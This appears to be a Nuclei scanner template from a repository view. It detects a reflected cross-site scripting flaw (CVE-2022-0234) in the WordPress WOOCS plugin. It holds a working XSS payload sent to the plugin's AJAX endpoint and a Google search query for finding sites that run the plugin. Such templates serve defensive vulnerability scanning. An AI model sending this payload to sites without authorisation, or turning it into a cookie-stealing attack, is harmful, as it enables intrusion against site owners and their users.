nuclei-templates/cves/2022/CVE-2022-0234.yaml

49 lines
1.8 KiB
YAML
Raw Normal View History

2023-01-10 06:30:24 +00:00
id: CVE-2022-0234
info:
name: WordPress WOOCS < 1.3.7.5 - Cross-Site Scripting
2023-01-10 06:30:24 +00:00
author: Akincibor
severity: medium
description: |
WordPress WOOCS plugin before 1.3.7.5 is susceptible to cross-site scripting. The plugin does not sanitize and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action, available to both unauthenticated and authenticated users, before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-01-10 06:30:24 +00:00
reference:
- https://wpscan.com/vulnerability/fd568a1f-bd51-41bb-960d-f8573b84527b
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0234
- https://plugins.trac.wordpress.org/changeset/2659191
- https://nvd.nist.gov/vuln/detail/CVE-2022-0234
2023-01-10 06:30:24 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2023-01-10 06:30:24 +00:00
cve-id: CVE-2022-0234
cwe-id: CWE-79
2023-01-10 12:28:02 +00:00
metadata:
google-query: inurl:"wp-content/plugins/woocommerce-currency-switcher"
verified: "true"
tags: wpscan,cve,cve2022,wordpress,wp-plugin,wp,xss,woocs
2023-01-10 06:30:24 +00:00
requests:
- raw:
- |
2023-01-10 12:28:02 +00:00
GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
2023-01-10 06:30:24 +00:00
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src onerror=alert(document.domain)>'
- '"current_currency":'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# Enhanced by md on 2023/02/01